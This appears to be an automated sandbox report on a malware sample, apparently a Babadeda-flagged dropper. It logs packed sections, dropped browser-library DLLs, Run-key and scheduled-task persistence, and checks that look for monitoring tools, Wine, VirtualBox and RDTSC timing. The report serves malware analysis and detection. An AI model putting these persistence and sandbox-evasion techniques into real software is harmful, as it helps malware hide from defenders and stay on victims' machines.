Source:	Binary string: nss3.pdb@ source: bfb8bb0dc7.exe, 0000000B.00000002.3130539225.000000006C87F000.00000002.00000001.01000000.00000014.sdmp, nss3[1].dll.11.dr
Source:	Binary string: z:\task_1551543573\build\openh264\gmpopenh264.pdbV source: firefox.exe, 00000016.00000003.3426978382.0000018948100000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: softokn3.pdb@ source: softokn3.dll.11.dr
Source:	Binary string: z:\task_1551543573\build\openh264\gmpopenh264.pdb source: firefox.exe, 00000016.00000003.3426978382.0000018948100000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.11.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.11.dr, msvcp140.dll.11.dr
Source:	Binary string: nss3.pdb source: bfb8bb0dc7.exe, 0000000B.00000002.3130539225.000000006C87F000.00000002.00000001.01000000.00000014.sdmp, nss3[1].dll.11.dr
Source:	Binary string: mozglue.pdb source: bfb8bb0dc7.exe, 0000000B.00000002.3127973139.000000006C6BD000.00000002.00000001.01000000.00000015.sdmp
Source:	Binary string: softokn3.pdb source: softokn3.dll.11.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	Unpacked PE file: 2.2.6SoKuOqyNh.exe.9f0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;axajwlnp:EW;ubpicycu:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;axajwlnp:EW;ubpicycu:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Unpacked PE file: 4.2.explorti.exe.e10000.0.unpack :EW;.rsrc:W;.idata :W; :EW;axajwlnp:EW;ubpicycu:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;axajwlnp:EW;ubpicycu:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Unpacked PE file: 5.2.explorti.exe.e10000.0.unpack :EW;.rsrc:W;.idata :W; :EW;axajwlnp:EW;ubpicycu:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;axajwlnp:EW;ubpicycu:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Unpacked PE file: 11.2.bfb8bb0dc7.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.fiti:R;.jotibe:W;.rsrc:R; vs .text:EW;.rdata:R;.data:W;.reloc:R;
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Unpacked PE file: 36.2.bfb8bb0dc7.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.fiti:R;.jotibe:W;.rsrc:R; vs .text:EW;.rdata:R;.data:W;.reloc:R;
Source: C:\Users\user\AppData\RoamingFHJDBKJKFI.exe	Unpacked PE file: 47.2.RoamingFHJDBKJKFI.exe.ca0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;wfabfqoe:EW;qxvdwait:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;wfabfqoe:EW;qxvdwait:EW;.taggant:EW;
Source: C:\Users\user\AppData\RoamingHJKECAAAFH.exe	Unpacked PE file: 50.2.RoamingHJKECAAAFH.exe.830000.0.unpack :EW;.rsrc:W;.idata :W; :EW;axajwlnp:EW;ubpicycu:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;axajwlnp:EW;ubpicycu:EW;.taggant:EW;

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Unpacked PE file: 11.2.bfb8bb0dc7.exe.400000.0.unpack
Source: C:\Users\user\1000003002\d27375200a.exe	Unpacked PE file: 12.2.d27375200a.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Unpacked PE file: 36.2.bfb8bb0dc7.exe.400000.0.unpack
Source: C:\Users\user\1000003002\d27375200a.exe	Unpacked PE file: 37.2.d27375200a.exe.400000.0.unpack

Yara detected Babadeda

Source: Yara match	File source: 37.2.d27375200a.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.0.d27375200a.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 37.0.d27375200a.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.d27375200a.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[1].exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\1000003002\d27375200a.exe, type: DROPPED

Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe

Code function: 11_2_004195E0 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

11_2_004195E0

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: random[1].exe.11.dr	Static PE information: real checksum: 0x1caa78 should be: 0x1d70b3
Source: RoamingHJKECAAAFH.exe.11.dr	Static PE information: real checksum: 0x1d42cd should be: 0x1d31a3
Source: 6SoKuOqyNh.exe	Static PE information: real checksum: 0x1d42cd should be: 0x1d31a3
Source: explorti.exe.2.dr	Static PE information: real checksum: 0x1d42cd should be: 0x1d31a3
Source: d27375200a.exe.10.dr	Static PE information: real checksum: 0x0 should be: 0x1fa44
Source: random[1].exe0.10.dr	Static PE information: real checksum: 0x0 should be: 0x1fa44
Source: RoamingFHJDBKJKFI.exe.11.dr	Static PE information: real checksum: 0x1caa78 should be: 0x1d70b3
Source: axplong.exe.47.dr	Static PE information: real checksum: 0x1caa78 should be: 0x1d70b3
Source: enter[1].exe.11.dr	Static PE information: real checksum: 0x1d42cd should be: 0x1d31a3

Source: 6SoKuOqyNh.exe	Static PE information: section name:
Source: 6SoKuOqyNh.exe	Static PE information: section name: .idata
Source: 6SoKuOqyNh.exe	Static PE information: section name:
Source: 6SoKuOqyNh.exe	Static PE information: section name: axajwlnp
Source: 6SoKuOqyNh.exe	Static PE information: section name: ubpicycu
Source: 6SoKuOqyNh.exe	Static PE information: section name: .taggant
Source: explorti.exe.2.dr	Static PE information: section name:
Source: explorti.exe.2.dr	Static PE information: section name: .idata
Source: explorti.exe.2.dr	Static PE information: section name:
Source: explorti.exe.2.dr	Static PE information: section name: axajwlnp
Source: explorti.exe.2.dr	Static PE information: section name: ubpicycu
Source: explorti.exe.2.dr	Static PE information: section name: .taggant
Source: random[1].exe.10.dr	Static PE information: section name: .fiti
Source: random[1].exe.10.dr	Static PE information: section name: .jotibe
Source: bfb8bb0dc7.exe.10.dr	Static PE information: section name: .fiti
Source: bfb8bb0dc7.exe.10.dr	Static PE information: section name: .jotibe
Source: random[1].exe0.10.dr	Static PE information: section name: .code
Source: d27375200a.exe.10.dr	Static PE information: section name: .code
Source: random[1].exe.11.dr	Static PE information: section name:
Source: random[1].exe.11.dr	Static PE information: section name: .idata
Source: random[1].exe.11.dr	Static PE information: section name:
Source: random[1].exe.11.dr	Static PE information: section name: wfabfqoe
Source: random[1].exe.11.dr	Static PE information: section name: qxvdwait
Source: random[1].exe.11.dr	Static PE information: section name: .taggant
Source: enter[1].exe.11.dr	Static PE information: section name:
Source: enter[1].exe.11.dr	Static PE information: section name: .idata
Source: enter[1].exe.11.dr	Static PE information: section name:
Source: enter[1].exe.11.dr	Static PE information: section name: axajwlnp
Source: enter[1].exe.11.dr	Static PE information: section name: ubpicycu
Source: enter[1].exe.11.dr	Static PE information: section name: .taggant
Source: RoamingHJKECAAAFH.exe.11.dr	Static PE information: section name:
Source: RoamingHJKECAAAFH.exe.11.dr	Static PE information: section name: .idata
Source: RoamingHJKECAAAFH.exe.11.dr	Static PE information: section name:
Source: RoamingHJKECAAAFH.exe.11.dr	Static PE information: section name: axajwlnp
Source: RoamingHJKECAAAFH.exe.11.dr	Static PE information: section name: ubpicycu
Source: RoamingHJKECAAAFH.exe.11.dr	Static PE information: section name: .taggant
Source: freebl3.dll.11.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.11.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.11.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.11.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.11.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.11.dr	Static PE information: section name: .didat
Source: nss3.dll.11.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.11.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.11.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.11.dr	Static PE information: section name: .00cfg
Source: RoamingFHJDBKJKFI.exe.11.dr	Static PE information: section name:
Source: RoamingFHJDBKJKFI.exe.11.dr	Static PE information: section name: .idata
Source: RoamingFHJDBKJKFI.exe.11.dr	Static PE information: section name:
Source: RoamingFHJDBKJKFI.exe.11.dr	Static PE information: section name: wfabfqoe
Source: RoamingFHJDBKJKFI.exe.11.dr	Static PE information: section name: qxvdwait
Source: RoamingFHJDBKJKFI.exe.11.dr	Static PE information: section name: .taggant
Source: axplong.exe.47.dr	Static PE information: section name:
Source: axplong.exe.47.dr	Static PE information: section name: .idata
Source: axplong.exe.47.dr	Static PE information: section name:
Source: axplong.exe.47.dr	Static PE information: section name: wfabfqoe
Source: axplong.exe.47.dr	Static PE information: section name: qxvdwait
Source: axplong.exe.47.dr	Static PE information: section name: .taggant

Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Code function: 11_2_0041A9F5 push ecx; ret		11_2_0041AA08
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Code function: 11_2_6C67B536 push ecx; ret		11_2_6C67B549

Source: 6SoKuOqyNh.exe	Static PE information: section name: entropy: 7.9818006822367735
Source: 6SoKuOqyNh.exe	Static PE information: section name: axajwlnp entropy: 7.954626720251567
Source: explorti.exe.2.dr	Static PE information: section name: entropy: 7.9818006822367735
Source: explorti.exe.2.dr	Static PE information: section name: axajwlnp entropy: 7.954626720251567
Source: random[1].exe.10.dr	Static PE information: section name: .text entropy: 7.823853344462366
Source: bfb8bb0dc7.exe.10.dr	Static PE information: section name: .text entropy: 7.823853344462366
Source: random[1].exe.11.dr	Static PE information: section name: entropy: 7.982589984423413
Source: random[1].exe.11.dr	Static PE information: section name: wfabfqoe entropy: 7.954564972616457
Source: enter[1].exe.11.dr	Static PE information: section name: entropy: 7.9818006822367735
Source: enter[1].exe.11.dr	Static PE information: section name: axajwlnp entropy: 7.954626720251567
Source: RoamingHJKECAAAFH.exe.11.dr	Static PE information: section name: entropy: 7.9818006822367735
Source: RoamingHJKECAAAFH.exe.11.dr	Static PE information: section name: axajwlnp entropy: 7.954626720251567
Source: RoamingFHJDBKJKFI.exe.11.dr	Static PE information: section name: entropy: 7.982589984423413
Source: RoamingFHJDBKJKFI.exe.11.dr	Static PE information: section name: wfabfqoe entropy: 7.954564972616457
Source: axplong.exe.47.dr	Static PE information: section name: entropy: 7.982589984423413
Source: axplong.exe.47.dr	Static PE information: section name: wfabfqoe entropy: 7.954564972616457

Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	File created: C:\Users\user\AppData\RoamingFHJDBKJKFI.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\enter[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	File created: C:\Users\user\1000003002\d27375200a.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	File created: C:\Users\user\AppData\RoamingHJKECAAAFH.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	File created: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\RoamingFHJDBKJKFI.exe	File created: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Jump to dropped file
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	File created: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Boot Survival

Creates multiple autostart registry keys

Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run bfb8bb0dc7.exe			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run d27375200a.exe			Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\RoamingFHJDBKJKFI.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\RoamingFHJDBKJKFI.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\RoamingFHJDBKJKFI.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\RoamingFHJDBKJKFI.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\RoamingFHJDBKJKFI.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\RoamingFHJDBKJKFI.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\RoamingFHJDBKJKFI.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\RoamingFHJDBKJKFI.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\RoamingFHJDBKJKFI.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\RoamingHJKECAAAFH.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\RoamingHJKECAAAFH.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\RoamingHJKECAAAFH.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\RoamingHJKECAAAFH.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\RoamingHJKECAAAFH.exe	Window searched: window name: PROCMON_WINDOW_CLASS

Source: C:\Users\user\Desktop\6SoKuOqyNh.exe

File created: C:\Windows\Tasks\explorti.job

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run bfb8bb0dc7.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run bfb8bb0dc7.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run d27375200a.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run d27375200a.exe	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe

11_2_004195E0

Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\1000003002\d27375200a.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\1000003002\d27375200a.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\1000003002\d27375200a.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\1000003002\d27375200a.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\1000003002\d27375200a.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\1000003002\d27375200a.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\RoamingFHJDBKJKFI.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Found evasive API chain (may stop execution after checking locale)

Source: C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe

Evasive API call chain: GetUserDefaultLangID, ExitProcess

graph_11-67143

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\RoamingFHJDBKJKFI.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\RoamingFHJDBKJKFI.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\RoamingHJKECAAAFH.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\RoamingHJKECAAAFH.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: A5F0C9 second address: A5F0D7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push edi 0x0000000b pushad 0x0000000c popad 0x0000000d pop edi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: A5F0D7 second address: A5F0DE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: BD71A4 second address: BD71AE instructions: 0x00000000 rdtsc 0x00000002 jc 00007FC9D8BCC166h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
